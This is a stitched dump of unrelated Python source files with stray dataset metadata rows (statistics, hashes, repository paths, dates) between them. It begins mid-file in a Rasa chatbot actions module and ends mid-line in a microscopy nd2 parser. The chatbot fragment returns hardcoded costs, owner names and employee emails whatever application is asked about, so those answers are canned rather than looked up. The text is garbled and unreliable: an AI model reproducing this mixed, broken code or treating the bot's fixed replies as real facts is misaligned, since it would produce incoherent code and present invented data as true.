dispatcher.utter_message(response) return [AllSlotsReset()] class Actionseppeoplescost(Action): def name(self): return 'action_sep_peoples_cost' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "2760 is the peoples cost." dispatcher.utter_message(response) return [AllSlotsReset()] class Actionoctpeoplescost(Action): def name(self): return 'action_oct_peoples_cost' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "2980 is the peoples cost." dispatcher.utter_message(response) return [AllSlotsReset()] class Actionnovpeoplescost(Action): def name(self): return 'action_nov_peoples_cost' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "3200 is the peoples cost." dispatcher.utter_message(response) return [AllSlotsReset()] class Actiondecpeoplescost(Action): def name(self): return 'action_Dec_peoples_cost' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "3420 is the peoples cost." dispatcher.utter_message(response) return [AllSlotsReset()] class Actionjaninfracost(Action): def name(self): return 'action_jan_infra_cost' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "120302 is the infra cost in January 2019" dispatcher.utter_message(response) return [SlotSet("app", app)] class Actionfebinfracost(Action): def name(self): return 'action_feb_infra_cost' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "120504 is the infra cost in February 2019" dispatcher.utter_message(response) return [SlotSet("app", app)] class Actionmarinfracost(Action): def name(self): return 'action_Mar_infra_cost' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "120334 is the infra cost in March 2019" dispatcher.utter_message(response) return [AllSlotsReset()] class Actionaprilinfracost(Action): def name(self): return 'action_april_infra_cost' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "122504 is the infra cost in April 2019" dispatcher.utter_message(response) return [AllSlotsReset()] class Actionmayinfracost(Action): def name(self): return 'action_May_infra_cost' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "120345 is the infra cost in May 2019" dispatcher.utter_message(response) return [AllSlotsReset()] class Actionjuneinfracost(Action): def name(self): return 'action_June_infra_cost' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "123503 is the infra cost in June 2019" dispatcher.utter_message(response) return [AllSlotsReset()] class Actionjulyinfracost(Action): def name(self): return 'action_July_infra_cost' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "120302 is the infra cost in July 2019" dispatcher.utter_message(response) return [AllSlotsReset()] class Actionaugustinfracost(Action): def name(self): return 'action_august_infra_cost' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "120313 is the infra cost in August 2019" dispatcher.utter_message(response) return [SlotSet("app", app)] class Actionsepinfracost(Action): def name(self): return 'action_sep_infra_cost' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "120433 is the infra cost in September 2019" dispatcher.utter_message(response) return [SlotSet("app", app)] class Actionoctinfracost(Action): def name(self): return 'action_oct_infra_cost' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "120557 is the infra cost in October 2019" dispatcher.utter_message(response) return [AllSlotsReset()] class Actionnovinfracost(Action): def name(self): return 'action_nov_infra_cost' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "120313 is the infra cost in November 2019" dispatcher.utter_message(response) return [AllSlotsReset()] class Actiondecinfracost(Action): def name(self): return 'action_dec_infra_cost' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "120433 is the infra cost in December 2019" dispatcher.utter_message(response) return [SlotSet("app", app)] class ActionVersion(Action): def name(self): return 'action_version' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "Currently you are using Oracle 11.0.01 and Oracle 12.1 in Production" dispatcher.utter_message(response) return [SlotSet("app", app)] class ActionNoOfDbs(Action): def name(self): return 'action_no_of_dbs' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "5 databases with 20 schemas" dispatcher.utter_message(response) return [SlotSet("app", app)] class ActionCriticality(Action): def name(self): return 'action_criticality' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "High" dispatcher.utter_message(response) return [AllSlotsReset()] class ActionAccessManagement(Action): def name(self): return 'action_access_management' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "Business user access is done via BURA" dispatcher.utter_message(response) return [SlotSet("app", app)] class Actionno_of_apps(Action): def name(self): return 'action_no_of_apps' def run(self, dispatcher, tracker, domain): response = "21 applications are currently using BURA for access management " dispatcher.utter_message(response) return [] class ActionnoReleases(Action): def name(self): return 'action_releases' def run(self, dispatcher, tracker, domain): app1 = tracker.get_slot('app1') app2 = tracker.get_slot('app2') response = '''{}:10 Releases \n {}: 5 releases'''.format(app1,app2) dispatcher.utter_message(response) return [] class ActionDeploy(Action): def name(self): return 'action_deploy' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = " The app is deployed in Asia" dispatcher.utter_message(response) return [AllSlotsReset()] class ActionAppOwner(Action): def name(self): return 'action_app_owner' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = " The owner of the app is john" dispatcher.utter_message(response) return [AllSlotsReset()] class ActionAppProductGroup(Action): def name(self): return 'action_app_product_group' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "database mgmt,OS,Hardware,messaging,application server,log,Integration,Business intelligence" dispatcher.utter_message("These are the product groups maintained by the app:") dispatcher.utter_message(response) return [AllSlotsReset()] class ActionAppProducts(Action): def name(self): return 'action_app_products' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "oracle,sybase,Linux,Linux,HP,IBM,Java,splunk" dispatcher.utter_message("These are the app products") dispatcher.utter_message(response) return [AllSlotsReset()] class ActionAppReleaseDate(Action): def name(self): return 'action_app_release_date' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = " The app release date is 25-1-2019" dispatcher.utter_message(response) return [AllSlotsReset()] class ActionAppImpactedRegions(Action): def name(self): return 'action_app_impacted_regions' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "tokyo, singapore,mumbai, hongkong,thailand,pune" dispatcher.utter_message("These are the app impacted regions:") dispatcher.utter_message(response) return [SlotSet("app", app)] class ActionAppProvider(Action): def name(self): return 'action_app_provider' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = " The app provider is robert" dispatcher.utter_message(response) return [AllSlotsReset()] class ActionAppSponsor(Action): def name(self): return 'action_app_sponsor' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = " The app sponsor is Sarah" dispatcher.utter_message(response) return [SlotSet("app", app)] class ActionAppEndDate(Action): def name(self): return 'action_app_end_date' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = " The app end date is Jul-25" dispatcher.utter_message(response) return [SlotSet("app", app)] class ActionAppProviderOrganization(Action): def name(self): return 'action_app_Provider_organization' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = " The provider organisations of the app are Finance and IT" dispatcher.utter_message(response) return [SlotSet("app", app)] class ActionAppSponsorOrganization(Action): def name(self): return 'action_app_sponsor_organization' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = " The app sponsor organisation is Finance" dispatcher.utter_message(response) return [SlotSet("app", app)] class ActionAppId(Action): def name(self): return 'action_app_app_id' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = " The app id is APP-123" dispatcher.utter_message(response) return [SlotSet("app", app)] class ActionAppAssessmentDate(Action): def name(self): return 'action_app_assessment_date' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = " The app assessment date is 1-1-2019" dispatcher.utter_message(response) return [SlotSet("app", app)] class ActionAppOwnerStatus(Action): def name(self): return 'action_app_owner_status' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = " The app owner status is Complete" dispatcher.utter_message(response) return [SlotSet("app", app)] class ActionAppOwmerSignoffDate(Action): def name(self): return 'action_owmer_signoff_date' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = " The app owner signoff status is 4-2-2019" dispatcher.utter_message(response) return [SlotSet("app", app)] class ActionAppProviderSignoffDate(Action): def name(self): return 'action_provider_signoff_date' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = " The app provider signoff date is 17-1-2019" dispatcher.utter_message(response) return [SlotSet("app", app)] class ActionAppSponsorSignoffDate(Action): def name(self): return 'action_sponsor_signoff_date' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = " The app sponsor signoff date is 10-2-2019" dispatcher.utter_message(response) return [SlotSet("app", app)] class ActionYearOfAssessment(Action): def name(self): return 'action_year_of_assessment' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = " The year of assessment is 2018" dispatcher.utter_message(response) return [SlotSet("app", app)] class ActionAppNoOfServers(Action): def name(self): return 'action_app_no_of_servers' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "You have currently 4 oracle 11g servers" dispatcher.utter_message(response) return [SlotSet("app", app)] class ActionAppServerName(Action): def name(self): return 'action_app_server_name' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "Server_122,Server_110,Server_115,Server_125" dispatcher.utter_message(response) return [SlotSet("app", app)] class ActionEndOfVersion(Action): def name(self): return 'action_end_of_version' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = " The end of version date is 1-1-2020" dispatcher.utter_message(response) return [SlotSet("app", app)] class ActionProductCost(Action): def name(self): return 'action_product_cost' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = " The app product cost is 2600" dispatcher.utter_message(response) return [SlotSet("app", app)] class ActionAppVolumes(Action): def name(self): return 'action_app_volumes' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "volumes are 109" dispatcher.utter_message(response) return [SlotSet("app", app)] class ActionReminderSchedule(Action): def name(self): return 'action_reminder_schedule' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "vikram" dispatcher.utter_message(response) return [SlotSet("app", app)] class ActionReleaseType(Action): def name(self): return 'action_release_type' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = " The release type is Major" dispatcher.utter_message(response) return [SlotSet("app", app)] class ActionAppEmployeePlaceName(Action): def name(self): return 'action_app_employee_place_name' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response ='''Rochester \nMesa \nAtlanta \nReddick''' dispatcher.utter_message("This is the list of employee place name") dispatcher.utter_message(response) return [SlotSet("app", app)] class ActionAppEmployeeId(Action): def name(self): return 'action_app_employee_id' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = '''5424563 \n5453345 \n6547744 \n6767851''' dispatcher.utter_message("This is the list of employee id") dispatcher.utter_message(response) return [SlotSet("app", app)] class ActionAppEmployeeFirstName(Action): def name(self): return 'action_app_employee_first_name' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response ='''Jeni \nAngelique \nDonald \nSteven''' dispatcher.utter_message("This is the list of employee first name") dispatcher.utter_message(response) return [SlotSet("app", app)] class ActionAppmEployeeLastName(Action): def name(self): return 'action_app_employee_last_name' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = '''Shaffer \nGoodwin \nFarris \nRendon''' dispatcher.utter_message("This is the list of employee last name") dispatcher.utter_message(response) return [SlotSet("app", app)] class ActionAppEmployeeEmail(Action): def name(self): return 'action_app_employee_email' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = '''jeni.shaffer@HILA.com \ndonald.farris@bellsouth.net \nsteven.rendon@HILA.com \nalmeta.brookins@HILA.com''' dispatcher.utter_message("This is the list of employee email id") dispatcher.utter_message(response) return [SlotSet("app", app)] class ActionAppEmployeeCountry(Action): def name(self): return 'action_app_employee_country' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = '''Monroe \nCrenshaw \nFranklin \nChampaign''' dispatcher.utter_message("This is the list of employee country") dispatcher.utter_message(response) return [SlotSet("app", app)] class ActionAppEmployeeCity(Action): def name(self): return 'action_app_employee_city' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = '''Rochester \nLuverne \nHodges \nSavoy''' dispatcher.utter_message("This is the list of employee city") dispatcher.utter_message(response) return [SlotSet("app", app)] class ActionAppEmployeeState(Action): def name(self): return 'action_app_employee_state' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = '''NY \nAL \nIL \nMO''' dispatcher.utter_message("This is the list of employee state") dispatcher.utter_message(response) return [SlotSet("app", app)] class ActionAppEmployeeRegion(Action): def name(self): return 'action_app_employee_region' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = '''Northeast \nSouth \nMidwest \nNorthEast''' dispatcher.utter_message(response) dispatcher.utter_message("This is the list of employee region") return [SlotSet("app", app)] class ActionProviderSignoff(Action): def name(self): return 'action_app_provider_signoff' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = " The app provider sign off state is Pending" dispatcher.utter_message(response) return [SlotSet("app", app)] class ActionAppAseessmentStatus(Action): def name(self): return 'action_app_aseessment_status' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = " The app assessment status is Not started" dispatcher.utter_message(response) return [SlotSet("app", app)] class ActionAppSponsorSignoff(Action): def name(self): return 'action_app_sponsor_signoff' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = " The app sponsor signoff status is Complete" dispatcher.utter_message(response) return [AllSlotsReset()] class ActionAppBasel1Regulatory(Action): def name(self): return 'action_app_basel1_regulatory' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "No" dispatcher.utter_message(response) return [AllSlotsReset()] class ActionAppBasel2Regulatory(Action): def name(self): return 'action_app_Basel2_regulatory' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "Yes" dispatcher.utter_message(response) return [AllSlotsReset()] class ActionAppBasel3Regulatory(Action): def name(self): return 'action_app_Basel3_regulatory' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "No" dispatcher.utter_message(response) return [AllSlotsReset()] class ActionAppAPACRegulatory(Action): def name(self): return 'action_app_APAC_regulatory' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "Yes" dispatcher.utter_message(response) return [SlotSet("app", app)] class ActionAppBusinessCriticality(Action): def name(self): return 'action_app_Business_criticality' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = " The app business criticality is High" dispatcher.utter_message(response) return [SlotSet("app", app)] class Actiongoodmorning(Action): def name(self): return 'action_good_morning' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "very good morning, How can I help you?" dispatcher.utter_message(response) dispatcher.utter_message("You can ask me questions related to infrastructure details") dispatcher.utter_message("Here are some Examples:") dispatcher.utter_message("How many applications are currently running on BURA platform?") dispatcher.utter_message("Who is the owner of OPM?") return [SlotSet("app", app)] class Actiongoodafternoon(Action): def name(self): return 'action_good_afternoon' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "very good afternoon, How can I help you?" dispatcher.utter_message(response) dispatcher.utter_message("You can ask me questions related to infrastructure details") dispatcher.utter_message("Here are some Examples:") dispatcher.utter_message("How many applications are currently running on BURA platform?") dispatcher.utter_message("Who is the owner of OPM?") return [SlotSet("app", app)] class Actiongoodevening(Action): def name(self): return 'action_good_evening' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "very good evening, How can I help you?" dispatcher.utter_message(response) dispatcher.utter_message("You can ask me questions related to infrastructure details") dispatcher.utter_message("Here are some Examples:") dispatcher.utter_message("How many applications are currently running on BURA platform?") dispatcher.utter_message("Who is the owner of OPM?") return [SlotSet("app", app)] class Actionhelp(Action): def name(self): return 'action_help' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "You can ask me questions related to infrastructure details " dispatcher.utter_message(response) dispatcher.utter_message("Here are some Examples:") dispatcher.utter_message("How many applications are currently running on BURA platform?") dispatcher.utter_message("Who is the owner of OPM?") return [SlotSet("app", app)] class Actionname(Action): def name(self): return 'action_name' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "I am infra bot, I am here to explain the details of infrastructure. " dispatcher.utter_message(response) return [SlotSet("app", app)] class Actionhowareyou(Action): def name(self): return 'action_how_are_you' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "yeah good, How about you? " dispatcher.utter_message(response) return [SlotSet("app", app)] class Actionbotage(Action): def name(self): return 'action_bot_age' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "I was created just a few days ago" dispatcher.utter_message(response) return [SlotSet("app", app)] class Actionbotdetails(Action): def name(self): return 'action_bot_details' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "I am Infra bot, I am here to explain the details of infrastructure. " dispatcher.utter_message(response) dispatcher.utter_message("Here are some Examples:") dispatcher.utter_message("How many applications are currently running on BURA platform?") dispatcher.utter_message("Who is the owner of OPM?") return [SlotSet("app", app)] class Actionok(Action): def name(self): return 'action_ok' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "Do you want to ask me anything else? " dispatcher.utter_message(response) return [SlotSet("app", app)]

27.746888

107

0.742261

3,460

26,748

5.607803

0.11763

0.089677

0.131526

0.074473

0.804206

0.797866

0.743081

0.657166

0.589239

0.491058

0

0.014313

0.143263

26,748

964

108

27.746888

0.832388

0

0.595206

0

0.250028

0.064301

0

1

0.226365

false

0.001332

0.007989

0.113182

0.573901

0

null

0

1

0

null

0

1

0

1

0

6

27ebd8c57e0b13045d02c0d3fcc8c623ce742888

48

py

Python

tests/tasks/jupyter/__init__.py

concreted/prefect

dd732f5990ee2b0f3d816adb285168fd63b239e4

[ "Apache-2.0" ]

8,633

2019-03-23T17:51:03.000Z

2022-03-31T22:17:42.000Z

tests/tasks/jupyter/__init__.py

concreted/prefect

dd732f5990ee2b0f3d816adb285168fd63b239e4

[ "Apache-2.0" ]

3,903

2019-03-23T19:11:21.000Z

2022-03-31T23:21:23.000Z

tests/tasks/jupyter/__init__.py

ngriffiths13/prefect

7f5613abcb182494b7dc12159277c3bc5f3c9898

[ "Apache-2.0" ]

937

2019-03-23T18:49:44.000Z

2022-03-31T21:45:13.000Z

import pytest pytest.importorskip("papermill")

12

32

0.8125

5

48

7.8

0.8

0

0.083333

48

3

33

16

0.886364

0

0.1875

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

fd68a3bad8b72f6213f59891090072ef93e0b6d1

3,043

py

Python

backend/sales/migrations/0001_initial.py

cbreezy623/modabella

b68bcc8aca903887d31489baae609ed70fe3dba7

[ "Apache-2.0" ]

null

backend/sales/migrations/0001_initial.py

cbreezy623/modabella

b68bcc8aca903887d31489baae609ed70fe3dba7

[ "Apache-2.0" ]

null

backend/sales/migrations/0001_initial.py

cbreezy623/modabella

b68bcc8aca903887d31489baae609ed70fe3dba7

[ "Apache-2.0" ]

null

# Generated by Django 3.1.1 on 2020-10-02 01:11 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ('products', '0001_initial'), ('services', '0001_initial'), ('appointments', '0001_initial'), ] operations = [ migrations.CreateModel( name='Tips', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('amount', models.DecimalField(decimal_places=2, max_digits=10)), ('payment', models.CharField(choices=[('cash', 'Cash'), ('card', 'Credit/Debit Card'), ('check', 'Check'), ('split', 'Split')], default='cash', max_length=5)), ('appointment', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='appointments.schedulerappointment')), ], ), migrations.CreateModel( name='SSale', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('salePrice', models.DecimalField(decimal_places=2, max_digits=10)), ('payment', models.CharField(choices=[('cash', 'Cash'), ('card', 'Credit/Debit Card'), ('check', 'Check'), ('split', 'Split')], default='cash', max_length=5)), ('appointment', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='appointments.schedulerappointment')), ('service', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='services.service')), ], ), migrations.CreateModel( name='SMSale', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('salePrice', models.DecimalField(decimal_places=2, max_digits=10)), ('modifier', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='services.modifier')), ('service_sale', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='sales.ssale')), ], ), migrations.CreateModel( name='PSale', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('quantity', models.PositiveIntegerField()), ('unitSalePrice', models.DecimalField(decimal_places=2, max_digits=10)), ('payment', models.CharField(choices=[('cash', 'Cash'), ('card', 'Credit/Debit Card'), ('check', 'Check'), ('split', 'Split')], default='cash', max_length=5)), ('appointment', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='appointments.schedulerappointment')), ('product', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='products.product')), ], ), ]

52.465517

175

0.60138

304

3,043

5.907895

0.256579

0.040089

0.062361

0.097996

0.733853

0.708241

0

0.017979

0.232337

3,043

57

176

53.385965

0.750856

0.014788

0

0.56

1

0

0.183912

0.033044

0

1

0

false

0

0.04

0

0.12

0

null

0

1

0

1

0

null

0

6

fddb27646fbb0462a62fe4b6940eb27c60cb0059

280

py

Python

depot_server/db/__init__.py

voegtlel/depot-manager-server

1092d60e8d8d44dc3daa11aa0e30bb3294daa548

[ "MIT" ]

null

depot_server/db/__init__.py

voegtlel/depot-manager-server

1092d60e8d8d44dc3daa11aa0e30bb3294daa548

[ "MIT" ]

null

depot_server/db/__init__.py

voegtlel/depot-manager-server

1092d60e8d8d44dc3daa11aa0e30bb3294daa548

[ "MIT" ]

null

from .collections import startup, shutdown from .model import DbItemState, DbBay, DbReservation, DbItem, DbItemStateChanges, DbStrChange, DbItemConditionChange, \ DbTagsChange, DbIdChange, DbDateChange, DbTotalReportStateChange, DbItemReport, DbReportElement, DbReportProfile

70

119

0.842857

22

280

10.727273

0.909091

0

0.096429

280

3

120

93.333333

0.932806

0

1

0

true

0

0.666667

0

0.666667

0

1

0

1

null

0

1

0

null

0

1

0

1

0

1

0

6

fddea73b6e12c330abd33500d2f17f585ff0e1fd

204

py

Python

python_gui_tkinter/KALU/SAFE1AUG/test.py

SayanGhoshBDA/code-backup

8b6135facc0e598e9686b2e8eb2d69dd68198b80

[ "MIT" ]

16

2018-11-26T08:39:42.000Z

2019-05-08T10:09:52.000Z

python_gui_tkinter/KALU/SAFE1AUG/test.py

SayanGhoshBDA/code-backup

8b6135facc0e598e9686b2e8eb2d69dd68198b80

[ "MIT" ]

8

2020-05-04T06:29:26.000Z

2022-02-12T05:33:16.000Z

python_gui_tkinter/KALU/SAFE1AUG/test.py

SayanGhoshBDA/code-backup

8b6135facc0e598e9686b2e8eb2d69dd68198b80

[ "MIT" ]

5

2020-02-11T16:02:21.000Z

2021-02-05T07:48:30.000Z

from AppOperations import AppOperations as ao from AppOperations import Rec #ao.update_Sl(3,'2018-07-30T20:15:54') ao.reset_slno() #k = Rec.timestmp() #print("Type of k : ",type(k)) #print(Rec.timestmp())

29.142857

45

0.735294

34

204

4.352941

0.617647

0.22973

0.310811

0

0.081522

0.098039

204

7

46

29.142857

0.722826

0.514706

0

1

0

true

0

0.666667

0

0.666667

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

fdecf3d35ec16c0bf270111f9f9fb24609ce2a2c

45,016

py

Python

pysmFISH/microscopy_file_parsers.py

linnarsson-lab/pysmFISH_auto

d963f1319099c36873c2c5afd41bd15e7361a00e

[ "MIT" ]

3

2022-01-15T07:49:15.000Z

2022-01-18T08:18:38.000Z

pysmFISH/microscopy_file_parsers.py

linnarsson-lab/pysmFISH_auto

d963f1319099c36873c2c5afd41bd15e7361a00e

[ "MIT" ]

null

pysmFISH/microscopy_file_parsers.py

linnarsson-lab/pysmFISH_auto

d963f1319099c36873c2c5afd41bd15e7361a00e

[ "MIT" ]

3

2022-01-14T15:47:54.000Z

2022-01-24T14:58:24.000Z

from typing import * import pickle import sys import re import shutil import numpy as np import zarr import nd2reader # import xarray as xr import pandas as pd from pathlib import Path from dask import distributed from pysmFISH import io from pysmFISH import utils from pysmFISH import configuration_files from pysmFISH import qc_utils from pysmFISH.logger_utils import selected_logger def create_dark_img(experiment_fpath:str, metadata: pd.DataFrame): """Function used to generate the image containing the camera noise.png The image is acquired as .nd2 file labeled Blank*.nd2 and is stored in the extra_files subfolder. The file contain a stack of images acquired with no illumination in order to evaluate the camera noise. If the files is present in the extra_files folder than the median is calculated and saved as experiment_name + machine_name +'_dark_img.npy' in the extra_processing_files subfolder. If the file is not present than the machine +'_dark_img.npy' present in the config_db folder is copied in the extra_processing_files subfolder. Args: experiment_fpath (str): path to the experiment to process metadata (pd.DataFrame): dictionary with the metadata of the experiment """ logger = selected_logger() experiment_fpath = Path(experiment_fpath) experiment_name = metadata['experiment_name'] machine = metadata['machine'] # Check if the dark image is already present nd2_blank = None # Look in the extra files nd2_list = list((experiment_fpath / 'extra_files').glob('*.nd2')) nd2_blank = [el for el in nd2_list if 'Blank' in el.stem] if nd2_blank: nd2fh = nd2reader.ND2Reader(nd2_blank[0]) nd2fh.bundle_axes = 'zyx' nd2fh.iter_axes = 'z' # Image with single channel channel = nd2fh.metadata['channels'][0] # I can collect just one z because error of the reader # that created both z and t planes dark_img = np.median(nd2fh[0],axis=0) dark_img = dark_img.astype(np.uint16) fname = experiment_fpath / 'extra_processing_data' / (experiment_name + '_' + machine + '_dark_img.npy') np.save(fname, dark_img) logger.debug(f'Created dark image from .nd2 file') else: logger.debug(f'the Blank .nd2 for the dark image is missing in experiment folder') try: pres = list((experiment_fpath / 'extra_processing_data').glob('*_dark_img.npy'))[0] except IndexError: try: pres = list((experiment_fpath.parent / 'config_db').glob(machine+'_dark_img.npy'))[0] new_location = experiment_fpath / 'extra_processing_data' / pres.name shutil.copy2(pres,new_location) except IndexError: logger.error(f'Missing .npy dask image') else: logger.error(f'the Blank .nd2 for the dark image is missing in experiment folder') else: logger.debug(f'the dark image is already present in the config_db') def create_dark_img_from_standalone(image_fpath:str, machine: str): """Function used to generate the image containing the camera noise.png The image is acquired as .nd2 file and is acquired separately as standalone file.The file contain a stack of images acquired with no illumination in order to evaluate the camera noise. The median is calculated and saved as machine_name +'_dark_img.npy' in the same folder of the original image. Args: image_fpath (str): path to nd2 file to process machine (str): machine used to acquire the blank image """ logger = selected_logger() image_fpath = Path(image_fpath) nd2fh = nd2reader.ND2Reader(image_fpath) nd2fh.bundle_axes = 'zyx' nd2fh.iter_axes = 'z' # Image with single channel channel = nd2fh.metadata['channels'][0] # I can collect just one z because error of the reader # that created both z and t planes dark_img = np.median(nd2fh[0],axis=0) dark_img = dark_img.astype(np.uint16) fname = image_fpath.parent / (machine + '_dark_img.npy') np.save(fname, dark_img) logger.debug(f'Created dark image from .nd2 file') def nd2_raw_files_selector(experiment_fpath: str) -> list: """ Identify the nd2 raw microscopy files generated by the robofish machine. The files must contain CountXXXXX in the name. Args: experiment_fpath (str): Path to the folder to process. Returns: all_files_to_process (list): List of PosixPath of the microscopy files to process """ logger = selected_logger() experiment_fpath = Path(experiment_fpath) # assert '_auto' in experiment_fpath.stem, sys.exit('no _auto in the experiment name') searching_key = '*Count*.nd2' all_files_to_process = list(experiment_fpath.glob(searching_key)) assert all_files_to_process, sys.exit('no .nd2 raw files to process') logger.debug(f'Number of files to process {len(all_files_to_process)}.') return all_files_to_process def nd2_raw_files_selector_general(folder_fpath: str) -> list: """ Function used to identify the .nd2 files in a folder. The files do not need to have the CountXXX or the _auto suffix. This class can be used to identify the .nd2 files that need to be reparsed. Args: folder_fpath (str): Path to the folder to process. Returns: all_files_to_process (list): List of PosixPath of the microscopy files to process """ logger = selected_logger() folder_fpath = Path(folder_fpath) searching_key = '*.nd2' all_files_to_process = list(folder_fpath.glob(searching_key)) assert all_files_to_process, sys.exit('no .nd2 raw files to process') logger.debug(f'Number of files to process {len(all_files_to_process)}.') return all_files_to_process def nikon_nd2_autoparser_zarr(nd2_file_path: str, parsed_raw_data_fpath: str, experiment_info: dict): """ Function to parse nikon .nd2 files generated by robofish. This parser not consider the possibility to have multiple experiment running at the same time with the raw imaging data present in the same folder. Once the data are parsed by hybridization are saved in the same folder. NB: The file and the corresponding metadata file generated by the microscope must contain 'CountXXXXX' in order to be processed The parsed_tmp and raw_data directories are created in a previous step of the pipeline during data sorting QC step run before parsing take care of checking if the nd2 files are present and in the corresponding pickle configuration files are in the folder This nd2 parser process one .nd2 file Args: nd2_file_path (str): Path to the .nd2 file to be parsed parsed_raw_data_fpath (str): Path to the zarr file that will store the parsed data experiment_info (dict): Dictionary with overall experiment info """ logger = selected_logger() parsed_raw_data_fpath = Path(parsed_raw_data_fpath) nd2_file_path = Path(nd2_file_path) nd2_fname = nd2_file_path.stem logger.debug(f'processing file {nd2_fname}') experiment_fpath = nd2_file_path.parent experiment_name = nd2_file_path.parent.stem experiment_name = experiment_name.split('_auto')[0] raw_files_dir = experiment_fpath / 'raw_data' # Extract the Count code from the file name count_code = re.search(r'(Count)\d{5}', nd2_file_path.stem).group() all_info_files = experiment_fpath.glob('*.pkl') info_file = [info_file for info_file in all_info_files if count_code in info_file.stem][0] info_data = pickle.load(open(info_file, 'rb')) logger.debug(f'loaded info data file {info_file.stem}') hybridization_name = info_data['channels']['Hybridization'] logger.debug(f'processing hybridization {hybridization_name}') try: nd2fh = nd2reader.ND2Reader(nd2_file_path.as_posix()) except: logger.error(f'Cannot load the nd2 file {nd2_file_path}') sys.exit(f'Cannot load the nd2 file {nd2_file_path}') else: # Collect metadata all_metadata = nd2fh.parser._raw_metadata parsed_metadata = nd2fh.parser._raw_metadata.get_parsed_metadata() channel = parsed_metadata['channels'][0] # works because there is only one 